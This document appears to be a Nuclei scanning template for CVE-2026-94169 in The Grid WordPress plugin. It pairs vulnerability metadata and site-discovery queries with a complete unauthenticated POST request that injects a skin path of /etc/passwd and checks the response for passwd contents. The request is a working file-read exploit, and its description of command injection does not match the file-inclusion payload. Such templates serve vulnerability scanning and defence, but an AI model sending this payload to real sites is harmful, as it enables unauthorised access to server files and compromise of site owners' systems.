CVE-2026-94169: The Grid <= 2.8.1 - Unauthenticated Code Injection

id: CVE-2026-94169

info:
  name: The Grid <= 2.8.1 - Unauthenticated Code Injection
  author: 0x_Akoko
  severity: critical
  description: |
    Theme-one The Grid <= 2.8.1 contains a command injection caused by improper control of code generation, letting attackers execute arbitrary commands remotely, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version beyond 2.8.1.
  reference:
    - https://patchstack.com/database/wordpress/plugin/the-grid/vulnerability/wordpress-the-grid-plugin-2-8-1-remote-code-execution-rce-vulnerability
    - https://github.com/kize7/CVE-2026-94169
    - https://nvd.nist.gov/vuln/detail/CVE-2026-94169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-94169
    epss-score: 0.04422
    epss-percentile: 0.91422
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: theme-one
    product: the-grid
    fofa-query: body="/wp-content/plugins/the-grid/"
    publicwww-query: "/wp-content/plugins/the-grid/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,the-grid,theme-one,lfi,unauth,vkev

variables:
  grid: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=the_grid_load_more&grid_nonce=invalid&grid_page=1&grid_name={{grid}}&grid_data[item_number]=1&grid_data[grid_skins][evil][php]=/etc/passwd&grid_data[grid_skins][evil][type]=grid&grid_data[grid_skins][evil][slug]=evil&grid_data[skins]={"post":"evil"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 490a004630440220565ce95b8b4f3cf93d006447d9b832282c80c24d3093b5804eb9b6ecf3a86b7c02201cbe50564d21578adeaf439d891674d26a21604ebe5d17de22b4fb119929db48:922c64590222798bb761d5b6d8e72950

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